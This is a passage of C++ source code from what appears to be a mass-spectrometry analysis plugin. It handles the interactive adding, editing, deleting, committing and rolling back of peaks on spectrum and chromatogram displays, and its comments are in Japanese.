} // @date 2011/08/24 <Add> OKADA <-------
statusBar.setStatusMsg("EditPeaks", "" );
}
else {
// Peak Edit モードに入ったとき
statusMgr.setValue( LABEL_STATUS_NAME, EDIT_STATUS_VALUE );
mgr.setMode( PeakEditManager::MODE_EDIT );
statusBar.setFlgDisp( "EditPeaks", 1 );
statusBar.setStatusMsg("EditPeaks", "Edit Peaks: On" ); // @date2011.09.14 <Add> M.Izumi
}
mgr.unselectPeak();
// refresh
kome::window::WindowTool::refresh();
return ret;
}
// deletes selected peak
kome::objects::Variant deleteSelectedPeak( kome::objects::Parameters* params ) {
// return value
kome::objects::Variant ret;
ret.type = kome::objects::Variant::BOOL;
ret.prim.boolVal = true;
// managers
PeakEditManager& mgr = PeakEditManager::getInstance();
kome::objects::PeaksManager& pkMgr = kome::objects::PeaksManager::getInstance();
// delete
mgr.deletePeak();
return ret;
}
// deleting peak is available or not
kome::objects::Variant canDeletePeak( kome::objects::Parameters* params ) {
// return value
kome::objects::Variant ret;
ret.type = kome::objects::Variant::BOOL;
ret.prim.boolVal = false;
// managers
PeakEditManager& mgr = PeakEditManager::getInstance();
kome::objects::PeaksManager& pkMgr = kome::objects::PeaksManager::getInstance();
// peaks
kome::objects::Variant var = kome::plugin::PluginCallTool::getActiveObject( params );
kome::objects::MsDataVariant obj( var );
// judge
if( mgr.getSelectedPeak() != NULL ) {
kome::objects::Spectrum* spec = obj.getSpectrum();
if( spec != NULL ) {
ret.prim.boolVal = ( spec == mgr.getSelectedSpectrum() );
}
kome::objects::Chromatogram* chrom = obj.getChromatogram();
if( chrom != NULL ) {
ret.prim.boolVal = ( chrom == mgr.getSelectedChromatogram() );
}
}
return ret;
}
// start to add spectrum label
kome::objects::Variant startToAddSpecLabel( kome::objects::Parameters* params ) {
// return value
kome::objects::Variant ret;
ret.type = kome::objects::Variant::BOOL;
ret.prim.boolVal = false;
// manager
PeakEditManager& mgr = PeakEditManager::getInstance();
// objects
kome::objects::Spectrum* spec = kome::plugin::PluginCallTool::getSpectrum( params );
if( spec == NULL ) {
return ret;
}
kome::img::Graphics* g = kome::plugin::PluginCallTool::getGraphics( params );
if( g == NULL ) {
return ret;
}
kome::evt::MouseEvent* evt = kome::plugin::PluginCallTool::getMouseEvent( params );
if( evt == NULL ) {
return ret;
}
// start to add
ret.prim.boolVal = mgr.startToAdd( *spec, *g, *evt );
return ret;
}
// start to edit spectrum label
kome::objects::Variant startToEditSpecLabel( kome::objects::Parameters* params ) {
// return value
kome::objects::Variant ret;
ret.type = kome::objects::Variant::BOOL;
ret.prim.boolVal = false;
// manager
PeakEditManager& mgr = PeakEditManager::getInstance();
// objects
kome::objects::Spectrum* spec = kome::plugin::PluginCallTool::getSpectrum( params );
if( spec == NULL ) {
return ret;
}
kome::img::Graphics* g = kome::plugin::PluginCallTool::getGraphics( params );
if( g == NULL ) {
return ret;
}
kome::evt::MouseEvent* evt = kome::plugin::PluginCallTool::getMouseEvent( params );
if( evt == NULL ) {
return ret;
}
// @date 2011/06/15 <Add> OKADA ------->
int cx = evt->x();
int cy = evt->y();
COLOR col = mgr.m_graphicsSpec.getPixel( cx, cy );
// @date 2011/06/15 <Add> OKADA <-------
bool bTmpLbuttonStatus = (*evt).lbutton();
(*evt).lbutton( true );
// start to editn
ret.prim.boolVal = mgr.startToEditPeak( *spec, *g, *evt );
(*evt).lbutton( bTmpLbuttonStatus );
// @date 2011/06/21 <Add> OKADA ------->
cx = evt->x();
cy = evt->y();
col = mgr.m_graphicsSpec.getPixel( cx, cy ); // wxRED_BRUSH:255 wxBLUE_BRUSH = 0x00ff0000 wxGREEN_BRUSH = 0x0000ff00
if( ( col == 0x0000ff00 )||( col == 0x00ffffff ) )
{
int jjj = 0;
jjj = 1;
}else{
int lll = 0;
lll = 123;
}
// @date 2011/06/21 <Add> OKADA <-------
wxWindow* canvas = kome::plugin::PluginCallTool::getCanvas( params ); // @date 2011/08/03 <Add> OKADA
// マウスカーソルを場所にあった物に変更
kome::objects::Variant retCanDeletePeak = canDeletePeak( params );
if( mgr.isInDeleteArea( *g, *evt, CALL_FROM_SPECTRUM ) ){
mgr.setMouseCursor( *g, *evt, PLUGIN_NAME_PEAK_EDIT, ICON_NAME_PEAK_DEL, canvas );
}else if( mgr.isInEditArea( *g, *evt, CALL_FROM_SPECTRUM ) ){
mgr.setMouseCursor( *g, *evt, PLUGIN_NAME_PEAK_EDIT, ICON_NAME_PEAK_EDIT, canvas );
}else if( mgr.isInAddArea( *g, *evt, CALL_FROM_SPECTRUM ) ){
mgr.setMouseCursor( *g, *evt, PLUGIN_NAME_PEAK_EDIT, ICON_NAME_PEAK_ADD, canvas );
}else{
mgr.setMouseCursor( *g, *evt, NULL, NULL, canvas ); // 通常の矢印
}
if( mgr.isInControlArea( *g, *evt ) ){
// グラフ制御領域内
ret.prim.boolVal = true; // この後、mouse click 処理が呼ばれないようにする
}else{
// グラフ制御領域外
}
return ret;
}
// move cursor in adding spectrum label
kome::objects::Variant moveCursorInAddingSpecLabel( kome::objects::Parameters* params ) {
// return value
kome::objects::Variant ret;
ret.type = kome::objects::Variant::BOOL;
ret.prim.boolVal = false;
// manager
PeakEditManager& mgr = PeakEditManager::getInstance();
// @date 2011/08/29 <Add> OKADA ------->
// Overlapping Window の場合、Peak Editの処理を行わない(マウスカーソルは矢印に戻す)
if( chkOverlapping(params) ){
return ret;
}
// @date 2011/08/29 <Add> OKADA <-------
// objects
kome::objects::Spectrum* spec = kome::plugin::PluginCallTool::getSpectrum( params );
if( spec == NULL ) {
return ret;
}
kome::img::Graphics* g = kome::plugin::PluginCallTool::getGraphics( params );
if( g == NULL ) {
return ret;
}
kome::evt::MouseEvent* evt = kome::plugin::PluginCallTool::getMouseEvent( params );
if( evt == NULL ) {
return ret;
}
// start to add
ret.prim.boolVal = mgr.moveAddingCursor( *spec, *g, *evt );
return ret;
}
// move cursor in editing spectrum label
kome::objects::Variant moveCursorInEditingSpecLabel( kome::objects::Parameters* params ) { // call type="on_spec_mouse_move" status="1" ifloaded="true" order ="1"
// return value
kome::objects::Variant ret;
ret.type = kome::objects::Variant::BOOL;
ret.prim.boolVal = false;
// @date 2011/08/29 <Add> OKADA ------->
// Overlapping Window の場合、Peak Editの処理を行わない(マウスカーソルは矢印に戻す)
if( chkOverlapping(params) ){
return ret;
}
// @date 2011/08/29 <Add> OKADA <-------
// objects
kome::objects::Spectrum* spec = kome::plugin::PluginCallTool::getSpectrum( params );
if( spec == NULL ) {
return ret;
}
kome::img::Graphics* g = kome::plugin::PluginCallTool::getGraphics( params );
if( g == NULL ) {
return ret;
}
kome::evt::MouseEvent* evt = kome::plugin::PluginCallTool::getMouseEvent( params );
if( evt == NULL ) {
return ret;
}
// manager
PeakEditManager& mgr = PeakEditManager::getInstance();
// Add 状態かを判定
if( mgr.getInAddFlag() == 1 )
{
ret = moveCursorInAddingSpecLabel( params );
if( ret.prim.boolVal ){
wxWindow* canvas = kome::plugin::PluginCallTool::getCanvas( params ); // @date 2011/08/03 <Add> OKADA
// アイコンを鉛筆印に変更
mgr.setMouseCursor( *g, *evt, PLUGIN_NAME_PEAK_EDIT, ICON_NAME_PEAK_ADD, canvas );
}
return ret;
}
// start to add
ret.prim.boolVal = mgr.moveEditingCursor( *spec, *g, *evt );
if( ret.prim.boolVal ){
wxWindow* canvas = kome::plugin::PluginCallTool::getCanvas( params ); // @date 2011/08/03 <Add> OKADA
// アイコンを編集に変更
mgr.setMouseCursor( *g, *evt, PLUGIN_NAME_PEAK_EDIT, ICON_NAME_PEAK_EDIT, canvas );
}
// @date 2011/10/14 <Add> OKADA ------->
// DELETEで選択処理中(マウスの左ボタン押しっぱなし)の際の処理
if( mgr.m_peakOnClick ){
// マウスカーソルをDEL(消しゴム)に設定
wxWindow* canvas = kome::plugin::PluginCallTool::getCanvas( params );
mgr.setMouseCursor( *g, *evt, PLUGIN_NAME_PEAK_EDIT, ICON_NAME_PEAK_DEL, canvas );
ret.prim.boolVal = true; // DELETEで選択処理中は次の処理を行わない
}
// @date 2011/10/14 <Add> OKADA <-------
return ret;
}
// finish to add spectrum label
kome::objects::Variant finishToAddSpecLabel( kome::objects::Parameters* params ) {
// return value
kome::objects::Variant ret;
ret.type = kome::objects::Variant::BOOL;
ret.prim.boolVal = false;
// manager
PeakEditManager& mgr = PeakEditManager::getInstance();
// objects
kome::objects::Spectrum* spec = kome::plugin::PluginCallTool::getSpectrum( params );
if( spec == NULL ) {
return ret;
}
kome::img::Graphics* g = kome::plugin::PluginCallTool::getGraphics( params );
if( g == NULL ) {
return ret;
}
kome::evt::MouseEvent* evt = kome::plugin::PluginCallTool::getMouseEvent( params );
if( evt == NULL ) {
return ret;
}
// finish to add
ret.prim.boolVal = mgr.finishToAddPeak( *spec, *g, *evt );
// @date 2012/04/24 <Add> OKADA ------->
// update // SPEC 84518
if( spec != NULL ) {
kome::plugin::PluginCallTool::onUpdateSpecPeaks( *spec );
}
// 幅0のピークの手動作成を抑制する // SPEC 84519
kome::objects::PeakElement* peak = mgr.getSelectedPeak();
if( peak != NULL ){
double dR = peak->getRightX();
double dL = peak->getLeftX();
double dWidth = dR - dL;
int iii = 0;
if( abs(dWidth) < 0.000001 ){
// delete
mgr.deletePeak();
}
}
// @date 2012/04/24 <Add> OKADA <-------
return ret;
}
// finish to edit spectrum label
kome::objects::Variant finishToEditSpecLabel( kome::objects::Parameters* params ) {
// return value
kome::objects::Variant ret;
ret.type = kome::objects::Variant::BOOL;
ret.prim.boolVal = false;
// manager
PeakEditManager& mgr = PeakEditManager::getInstance();
// objects
kome::objects::Spectrum* spec = kome::plugin::PluginCallTool::getSpectrum( params );
if( spec == NULL ) {
return ret;
}
kome::img::Graphics* g = kome::plugin::PluginCallTool::getGraphics( params );
if( g == NULL ) {
return ret;
}
kome::evt::MouseEvent* evt = kome::plugin::PluginCallTool::getMouseEvent( params );
if( evt == NULL ) {
return ret;
}
// finish to edit
ret.prim.boolVal = mgr.finishToEditPeak( *spec, *g, *evt );
return ret;
}
// starts to add chromatogram label
kome::objects::Variant startToAddChromLabel( kome::objects::Parameters* params ) {
// return value
kome::objects::Variant ret;
ret.type = kome::objects::Variant::BOOL;
ret.prim.boolVal = false;
// manager
PeakEditManager& mgr = PeakEditManager::getInstance();
// objects
kome::objects::Chromatogram* chrom = kome::plugin::PluginCallTool::getChromatogram( params );
if( chrom == NULL ) {
return ret;
}
kome::img::Graphics* g = kome::plugin::PluginCallTool::getGraphics( params );
if( g == NULL ) {
return ret;
}
kome::evt::MouseEvent* evt = kome::plugin::PluginCallTool::getMouseEvent( params );
if( evt == NULL ) {
return ret;
}
// start to add
ret.prim.boolVal = mgr.startToAdd( *chrom, *g, *evt );
return ret;
}
// start to edit chromatogram label
kome::objects::Variant startToEditChromLabel( kome::objects::Parameters* params ) {
// return value
kome::objects::Variant ret;
ret.type = kome::objects::Variant::BOOL;
ret.prim.boolVal = false;
// manager
PeakEditManager& mgr = PeakEditManager::getInstance();
// objects
kome::objects::Chromatogram* chrom = kome::plugin::PluginCallTool::getChromatogram( params );
if( chrom == NULL ) {
return ret;
}
kome::img::Graphics* g = kome::plugin::PluginCallTool::getGraphics( params );
if( g == NULL ) {
return ret;
}
kome::evt::MouseEvent* evt = kome::plugin::PluginCallTool::getMouseEvent( params );
if( evt == NULL ) {
return ret;
}
bool bTmpLbuttonStatus = (*evt).lbutton();
(*evt).lbutton( true );
// start to edit
ret.prim.boolVal = mgr.startToEditPeak( *chrom, *g, *evt );
(*evt).lbutton( bTmpLbuttonStatus );
wxWindow* canvas = kome::plugin::PluginCallTool::getCanvas( params ); // @date 2011/08/03 <Add> OKADA
// @date 2011/06/23 <Add> OKADA ------->
// マウスカーソルを場所にあった物に変更
kome::objects::Variant retCanDeletePeak = canDeletePeak( params );
if( mgr.isInDeleteArea( *g, *evt, CALL_FROM_CHROMATOGRAM ) ){
mgr.setMouseCursor( *g, *evt, PLUGIN_NAME_PEAK_EDIT, ICON_NAME_PEAK_DEL, canvas );
}else if( mgr.isInEditArea( *g, *evt, CALL_FROM_CHROMATOGRAM ) ){
mgr.setMouseCursor( *g, *evt, PLUGIN_NAME_PEAK_EDIT, ICON_NAME_PEAK_EDIT, canvas );
}else if( mgr.isInAddArea( *g, *evt, CALL_FROM_CHROMATOGRAM ) ){
mgr.setMouseCursor( *g, *evt, PLUGIN_NAME_PEAK_EDIT, ICON_NAME_PEAK_ADD, canvas );
}else{
mgr.setMouseCursor( *g, *evt, NULL, NULL, canvas ); // 通常の矢印
}
if( mgr.isInControlArea( *g, *evt ) ){
// グラフ制御領域内
ret.prim.boolVal = true; // この後、mouse click 処理が呼ばれないようにする
}else{
// グラフ制御領域外
}
// @date 2011/06/23 <Add> OKADA <-------
return ret;
}
// move cursor in adding chromatogram label
kome::objects::Variant moveCursorInAddingChromLabel( kome::objects::Parameters* params ) {
// return value
kome::objects::Variant ret;
ret.type = kome::objects::Variant::BOOL;
ret.prim.boolVal = false;
// @date 2011/08/29 <Add> OKADA ------->
// Overlapping Window の場合、Peak Editの処理を行わない(マウスカーソルは矢印に戻す)
if( chkOverlapping(params) ){
return ret;
}
// @date 2011/08/29 <Add> OKADA <-------
// manager
PeakEditManager& mgr = PeakEditManager::getInstance();
// objects
kome::objects::Chromatogram* chrom = kome::plugin::PluginCallTool::getChromatogram( params );
if( chrom == NULL ) {
return ret;
}
kome::img::Graphics* g = kome::plugin::PluginCallTool::getGraphics( params );
if( g == NULL ) {
return ret;
}
kome::evt::MouseEvent* evt = kome::plugin::PluginCallTool::getMouseEvent( params );
if( evt == NULL ) {
return ret;
}
// move cursor
ret.prim.boolVal = mgr.moveAddingCursor( *chrom, *g, *evt );
return ret;
}
// move cursor in editing chromatogram label
kome::objects::Variant moveCursorInEditingChromLabel( kome::objects::Parameters* params ) {
// return value
kome::objects::Variant ret;
ret.type = kome::objects::Variant::BOOL;
ret.prim.boolVal = false;
// @date 2011/08/29 <Add> OKADA ------->
// Overlapping Window の場合、Peak Editの処理を行わない(マウスカーソルは矢印に戻す)
if( chkOverlapping(params) ){
return ret;
}
// @date 2011/08/29 <Add> OKADA <-------
// manager
PeakEditManager& mgr = PeakEditManager::getInstance();
// objects
kome::objects::Chromatogram* chrom = kome::plugin::PluginCallTool::getChromatogram( params );
if( chrom == NULL ) {
return ret;
}
kome::img::Graphics* g = kome::plugin::PluginCallTool::getGraphics( params );
if( g == NULL ) {
return ret;
}
kome::evt::MouseEvent* evt = kome::plugin::PluginCallTool::getMouseEvent( params );
if( evt == NULL ) {
return ret;
}
// @date 2011/06/23 <Add> OKADA ------->
// Add 状態かを判定
if( mgr.getInAddFlag() == 1 )
{
ret = moveCursorInAddingChromLabel( params );
wxWindow* canvas = kome::plugin::PluginCallTool::getCanvas( params ); // @date 2011/08/03 <Add> OKADA
if( ret.prim.boolVal ){
wxWindow* canvas = kome::plugin::PluginCallTool::getCanvas( params ); // @date 2011/08/03 <Add> OKADA
// アイコンを鉛筆印に変更
mgr.setMouseCursor( *g, *evt, PLUGIN_NAME_PEAK_EDIT, ICON_NAME_PEAK_ADD, canvas );
}
return ret;
}
// @date 2011/06/23 <Add> OKADA <-------
// move cursor
ret.prim.boolVal = mgr.moveEditingCursor( *chrom, *g, *evt );
// @date 2011/06/23 <Add> OKADA ------->
if( ret.prim.boolVal ){
wxWindow* canvas = kome::plugin::PluginCallTool::getCanvas( params ); // @date 2011/08/03 <Add> OKADA
// アイコンを編集に変更
mgr.setMouseCursor( *g, *evt, PLUGIN_NAME_PEAK_EDIT, ICON_NAME_PEAK_EDIT, canvas );
}
// @date 2011/06/23 <Add> OKADA <-------
// @date 2011/10/14 <Add> OKADA ------->
// DELETEで選択処理中(マウスの左ボタン押しっぱなし)の際の処理
if( mgr.m_peakOnClick ){
// マウスカーソルをDEL(消しゴム)に設定
wxWindow* canvas = kome::plugin::PluginCallTool::getCanvas( params );
mgr.setMouseCursor( *g, *evt, PLUGIN_NAME_PEAK_EDIT, ICON_NAME_PEAK_DEL, canvas );
ret.prim.boolVal = true; // DELETEで選択処理中は次の処理を行わない
}
// @date 2011/10/14 <Add> OKADA <-------
return ret;
}
// finish to add chroamtogram label
kome::objects::Variant finishToAddChromLabel( kome::objects::Parameters* params ) {
// return value
kome::objects::Variant ret;
ret.type = kome::objects::Variant::BOOL;
ret.prim.boolVal = false;
// manager
PeakEditManager& mgr = PeakEditManager::getInstance();
// objects
kome::objects::Chromatogram* chrom = kome::plugin::PluginCallTool::getChromatogram( params );
if( chrom == NULL ) {
return ret;
}
kome::img::Graphics* g = kome::plugin::PluginCallTool::getGraphics( params );
if( g == NULL ) {
return ret;
}
kome::evt::MouseEvent* evt = kome::plugin::PluginCallTool::getMouseEvent( params );
if( evt == NULL ) {
return ret;
}
// start to add
ret.prim.boolVal = mgr.finishToAddPeak( *chrom, *g, *evt );
return ret;
}
// finish to edit chroamtogram label
kome::objects::Variant finishToEditChromLabel( kome::objects::Parameters* params ) {
// return value
kome::objects::Variant ret;
ret.type = kome::objects::Variant::BOOL;
ret.prim.boolVal = false;
// manager
PeakEditManager& mgr = PeakEditManager::getInstance();
// objects
kome::objects::Chromatogram* chrom = kome::plugin::PluginCallTool::getChromatogram( params );
if( chrom == NULL ) {
return ret;
}
kome::img::Graphics* g = kome::plugin::PluginCallTool::getGraphics( params );
if( g == NULL ) {
return ret;
}
kome::evt::MouseEvent* evt = kome::plugin::PluginCallTool::getMouseEvent( params );
if( evt == NULL ) {
return ret;
}
// start to add
ret.prim.boolVal = mgr.finishToEditPeak( *chrom, *g, *evt );
// @date 2012/04/24 <Add> OKADA ------->
if( chrom != NULL ) {
kome::plugin::PluginCallTool::onUpdateChromPeaks( *chrom );
}
// 幅0のピークの手動作成を抑制する // SPEC 84519
kome::objects::PeakElement* peak = mgr.getSelectedPeak();
if( peak != NULL ){
double dR = peak->getRightX();
double dL = peak->getLeftX();
double dWidth = dR - dL;
int iii = 0;
if( abs(dWidth) < 0.000001 ){
// delete
mgr.deletePeak();
}
}
// @date 2012/04/24 <Add> OKADA <-------
return ret;
}
// commit spectrum peaks
kome::objects::Variant commitSpectrumPeaks( kome::objects::Parameters* params ) {
// return value
kome::objects::Variant ret;
// spectrum
kome::objects::Spectrum* spec = kome::plugin::PluginCallTool::getSpectrum( params );
if( spec == NULL ) {
return ret;
}
// commit
PeakEditManager& mgr = PeakEditManager::getInstance();
mgr.commitPeaks( *spec );
return ret;
}
// commit chromatogram peaks
kome::objects::Variant commitChromatogramPeaks( kome::objects::Parameters* params ) {
// return value
kome::objects::Variant ret;
// chromatogram
kome::objects::Chromatogram* chrom = kome::plugin::PluginCallTool::getChromatogram( params );
if( chrom == NULL ) {
return ret;
}
// commit
PeakEditManager& mgr = PeakEditManager::getInstance();
mgr.commitPeaks( *chrom );
return ret;
}
// rollback spectrum peaks
kome::objects::Variant rollbackSpectrumPeaks( kome::objects::Parameters* params ) {
// return value
kome::objects::Variant ret;
// spectrum
kome::objects::Spectrum* spec = kome::plugin::PluginCallTool::getSpectrum( params );
if( spec == NULL ) {
return ret;
}
// rollback
PeakEditManager& mgr = PeakEditManager::getInstance();
mgr.rollbackPeaks( *spec );
return ret;
}
// rollback chromatogram peaks
kome::objects::Variant rollbackChromatogramPeaks( kome::objects::Parameters* params ) {
// return value
kome::objects::Variant ret;
// chromatogram
kome::objects::Chromatogram* chrom = kome::plugin::PluginCallTool::getChromatogram( params );
if( chrom == NULL ) {
return ret;
}
// rollback
PeakEditManager& mgr = PeakEditManager::getInstance();
mgr.rollbackPeaks( *chrom );
return ret;
}
// move cursor in editing spectrum label
kome::objects::Variant moveMouseCursorInEditingSpec( kome::objects::Parameters* params ) { // call type="on_spec_mouse_move"
// return value
kome::objects::Variant ret;
ret.type = kome::objects::Variant::BOOL;
ret.prim.boolVal = false;
// @date 2011/08/29 <Add> OKADA ------->
// Overlapping Window の場合、Peak Editの処理を行わない(マウスカーソルは矢印に戻す)
if( chkOverlapping(params) ){
return ret;
}
// @date 2011/08/29 <Add> OKADA <-------
// manager
PeakEditManager& mgr = PeakEditManager::getInstance();
// objects
kome::objects::Spectrum* spec = kome::plugin::PluginCallTool::getSpectrum( params );
if( spec == NULL ) {
return ret;
}
kome::img::Graphics* g = kome::plugin::PluginCallTool::getGraphics( params );
if( g == NULL ) {
return ret;
}
kome::evt::MouseEvent* evt = kome::plugin::PluginCallTool::getMouseEvent( params );
if( evt == NULL ) {
return ret;
}
bool bVal = evt->lbutton();
// start to add
if( mgr.isInControlArea( *g, *evt ) ){
// グラフ制御領域内
if( bVal==true ){
// マウスカーソル左クリックでドラッグ中
}else{
startToEditSpecLabel( params );
finishToEditSpecLabel( params );
}
ret.prim.boolVal = true; // この後、mouse move 処理が呼ばれないようにする
}else{
mgr.m_flgRedrawMemory=true; // @date 2011/08/03 <Add> OKADA
// グラフ制御領域外
return ret;
}
ret.prim.boolVal = mgr.moveEditingCursor( *spec, *g, *evt );
return ret;
}
kome::objects::Variant onSpecButtonDown( kome::objects::Parameters* params ) {
// return value
kome::objects::Variant ret;
ret.type = kome::objects::Variant::BOOL;
ret.prim.boolVal = false;
// manager
PeakEditManager& mgr = PeakEditManager::getInstance();
// objects
kome::objects::Spectrum* spec = kome::plugin::PluginCallTool::getSpectrum( params );
if( spec == NULL ) {
return ret;
}
kome::img::Graphics* g = kome::plugin::PluginCallTool::getGraphics( params );
if( g == NULL ) {
return ret;
}
kome::evt::MouseEvent* evt = kome::plugin::PluginCallTool::getMouseEvent( params );
if( evt == NULL ) {
return ret;
}
// @date 2011/08/26 <Add> OKADA ------->
// Overlapping Window の場合、Peak Editのクリック処理を行わない(アイコンはそのまま)
wxWindow* p_wxwCanvas = kome::plugin::PluginCallTool::getCanvas( params );
kome::window::Canvas* canvas = dynamic_cast< kome::window::Canvas* >(p_wxwCanvas);
if( canvas == NULL ){
return ret;
}else{
int nCanvasStyle = canvas->getCanvasStyle();
if( nCanvasStyle & kome::window::Canvas::OVERLAPPING ){
return ret;
}
}
// @date 2011/08/26 <Add> OKADA <-------
if((evt->lbutton()) && ( mgr.isInDeleteArea( *g, *evt, CALL_FROM_SPECTRUM ) )){
mgr.m_peakOnClick = mgr.getSelectedPeak(); // @date 2011/10/14 <Add> OKADA
ret.prim.boolVal = true; // @date 2011/10/14 <Add> OKADA
}else if( mgr.isInAddArea( *g, *evt, CALL_FROM_SPECTRUM) ){
mgr.setModeAdd();
kome::objects::Variant ret = startToAddSpecLabel( params );
if( ret.prim.boolVal == true ){
mgr.setInAddFlag( 1 );
}else{
mgr.setModeEdit();
}
}
// @date 2011/06/27 <Add> OKADA
else if( mgr.isInEditArea( *g, *evt, 1 ) ){
ret.prim.boolVal = mgr.moveEditingCursor( *spec, *g, *evt );
if( ret.prim.boolVal ){
flgStartEdirSpec=1;
wxWindow* canvas = kome::plugin::PluginCallTool::getCanvas( params ); // @date 2011/08/03 <Add> OKADA
// アイコンを編集に変更
mgr.setMouseCursor( *g, *evt, PLUGIN_NAME_PEAK_EDIT, ICON_NAME_PEAK_EDIT, canvas );
} }
return ret;
}
kome::objects::Variant onSpecButtonUp( kome::objects::Parameters* params ) {
// return value
kome::objects::Variant ret;
ret.type = kome::objects::Variant::BOOL;
ret.prim.boolVal = false;
// manager
PeakEditManager& mgr = PeakEditManager::getInstance();
// objects
kome::objects::Spectrum* spec = kome::plugin::PluginCallTool::getSpectrum( params );
if( spec == NULL ) {
return ret;
}
kome::img::Graphics* g = kome::plugin::PluginCallTool::getGraphics( params );
if( g == NULL ) {
return ret;
}
kome::evt::MouseEvent* evt = kome::plugin::PluginCallTool::getMouseEvent( params );
if( evt == NULL ) {
return ret;
}
// @date 2011/10/14 <Add> OKADA ------->
if( mgr.isInDeleteArea( *g, *evt, CALL_FROM_SPECTRUM ) ){
if( mgr.m_peakOnClick == mgr.getSelectedPeak() ){
ret = deleteSelectedPeak( params ); // エリア削除処理
mgr.m_flgRedrawMemory = true;
}
}
mgr.m_peakOnClick = NULL;
// @date 2011/10/14 <Add> OKADA <-------
if( mgr.getInAddFlag() == 1 ){
mgr.setModeEdit();
ret = finishToAddSpecLabel( params );
mgr.setInAddFlag( 2 );
}
if( flgStartEdirSpec == 1 ){
flgStartEdirSpec = 0;
// finish to edit
ret.prim.boolVal = mgr.finishToEditPeak( *spec, *g, *evt );
}
return ret;
}
// move cursor in editing spectrum label
kome::objects::Variant moveMouseCursorInEditingChrom( kome::objects::Parameters* params ) { // call type="on_spec_mouse_move"
// return value
kome::objects::Variant ret;
ret.type = kome::objects::Variant::BOOL;
ret.prim.boolVal = false;
// @date 2011/08/29 <Add> OKADA ------->
// Overlapping Window の場合、Peak Editの処理を行わない(マウスカーソルは矢印に戻す)
if( chkOverlapping(params) ){
return ret;
}
// @date 2011/08/29 <Add> OKADA <-------
// manager
PeakEditManager& mgr = PeakEditManager::getInstance();
// objects
kome::objects::Chromatogram* chrom = kome::plugin::PluginCallTool::getChromatogram( params );
if( chrom == NULL ) {
return ret;
}
kome::img::Graphics* g = kome::plugin::PluginCallTool::getGraphics( params );
if( g == NULL ) {
return ret;
}
kome::evt::MouseEvent* evt = kome::plugin::PluginCallTool::getMouseEvent( params );
if( evt == NULL ) {
return ret;
}
bool bVal = evt->lbutton();
// start to add
if( mgr.isInControlArea( *g, *evt ) ){
// グラフ制御領域内
if( bVal==true ){
// マウスカーソル左クリックでドラッグ中
}else{
startToEditChromLabel( params );
finishToEditChromLabel( params );
}
ret.prim.boolVal = true; // この後、mouse move 処理が呼ばれないようにする
}else{
mgr.m_flgRedrawMemory=true; // @date 2011/08/03 <Add> OKADA
// グラフ制御領域外
return ret;
}
ret.prim.boolVal = mgr.moveEditingCursor( *chrom, *g, *evt );
return ret;
}
kome::objects::Variant onChromButtonDown( kome::objects::Parameters* params ) {
// return value
kome::objects::Variant ret;
ret.type = kome::objects::Variant::BOOL;
ret.prim.boolVal = false;
// manager
PeakEditManager& mgr = PeakEditManager::getInstance();
// objects
kome::objects::Chromatogram* chrom = kome::plugin::PluginCallTool::getChromatogram( params );
if( chrom == NULL ) {
return ret;
}
kome::img::Graphics* g = kome::plugin::PluginCallTool::getGraphics( params );
if( g == NULL ) {
return ret;
}
kome::evt::MouseEvent* evt = kome::plugin::PluginCallTool::getMouseEvent( params );
if( evt == NULL ) {
return ret;
}
// @date 2011/08/26 <Add> OKADA ------->
// Overlapping Window の場合、Peak Editのクリック処理を行わない(アイコンはそのまま)
wxWindow* p_wxwCanvas = kome::plugin::PluginCallTool::getCanvas( params );
kome::window::Canvas* canvas = dynamic_cast< kome::window::Canvas* >(p_wxwCanvas);
if( canvas == NULL ){
return ret;
}else{
int nCanvasStyle = canvas->getCanvasStyle();
if( nCanvasStyle & kome::window::Canvas::OVERLAPPING ){
return ret;
}
}
// @date 2011/08/26 <Add> OKADA <-------
if((evt->lbutton()) &&( mgr.isInDeleteArea( *g, *evt, CALL_FROM_CHROMATOGRAM ) )){
mgr.m_peakOnClick = mgr.getSelectedPeak(); // @date 2011/10/14 <Add> OKADA
ret.prim.boolVal = true; // @date 2011/10/14 <Add> OKADA
}else if( mgr.isInAddArea( *g, *evt, CALL_FROM_CHROMATOGRAM ) ){
mgr.setModeAdd();
kome::objects::Variant ret = startToAddChromLabel( params );
if( ret.prim.boolVal == true ){
mgr.setInAddFlag( 1 );
}else{
mgr.setModeEdit();
}
}
// @date 2011/06/23 <Add> OKADA 18:18
else if( mgr.isInEditArea( *g, *evt, 1 ) ){
ret.prim.boolVal = mgr.moveEditingCursor( *chrom, *g, *evt );
if( ret.prim.boolVal ){
flgStartEdirChrom=1;
wxWindow* canvas = kome::plugin::PluginCallTool::getCanvas( params ); // @date 2011/08/03 <Add> OKADA
// アイコンを編集に変更
mgr.setMouseCursor( *g, *evt, PLUGIN_NAME_PEAK_EDIT, ICON_NAME_PEAK_EDIT, canvas );
}
}
return ret;
}
kome::objects::Variant onChromButtonUp( kome::objects::Parameters* params ) {
// return value
kome::objects::Variant ret;
ret.type = kome::objects::Variant::BOOL;
ret.prim.boolVal = false;
// manager
PeakEditManager& mgr = PeakEditManager::getInstance();
// objects
kome::objects::Chromatogram* chrom = kome::plugin::PluginCallTool::getChromatogram( params );
if( chrom == NULL ) {
return ret;
}
kome::img::Graphics* g = kome::plugin::PluginCallTool::getGraphics( params );
if( g == NULL ) {
return ret;
}
kome::evt::MouseEvent* evt = kome::plugin::PluginCallTool::getMouseEvent( params );
if( evt == NULL ) {
return ret;
}
// @date 2011/10/14 <Add> OKADA ------->
if( mgr.isInDeleteArea( *g, *evt, CALL_FROM_CHROMATOGRAM ) ){
if( mgr.m_peakOnClick == mgr.getSelectedPeak() ){
ret = deleteSelectedPeak( params ); // エリア削除処理
mgr.m_flgRedrawMemory = true;
}
}
mgr.m_peakOnClick = NULL;
// @date 2011/10/14 <Add> OKADA <-------
if( mgr.getInAddFlag() == 1 ){
mgr.setModeEdit();
ret = finishToAddChromLabel( params );
mgr.setInAddFlag( 2 );
}
if( flgStartEdirChrom == 1 ){
flgStartEdirChrom = 0;
// finish to edit
ret.prim.boolVal = mgr.finishToEditPeak( *chrom, *g, *evt );
}
return ret;
}
// checks whether can exit the Quantitation dialog
kome::objects::Variant canExitPeakEditMode( kome::objects::Parameters* params ) {
// return value
kome::objects::Variant ret;
ret.type = kome::objects::Variant::BOOL;
ret.prim.boolVal = true;
// manager
PeakEditManager& mgr = PeakEditManager::getInstance();
mgr.onExitSample();
ret.prim.boolVal = true;
return ret;
}
// set peak draw mode
kome::objects::Variant setPeakDrawMode( kome::objects::Parameters* params ) {
// return value
kome::objects::Variant ret;
ret.type = kome::objects::Variant::BOOL;
ret.prim.boolVal = true;
// set status
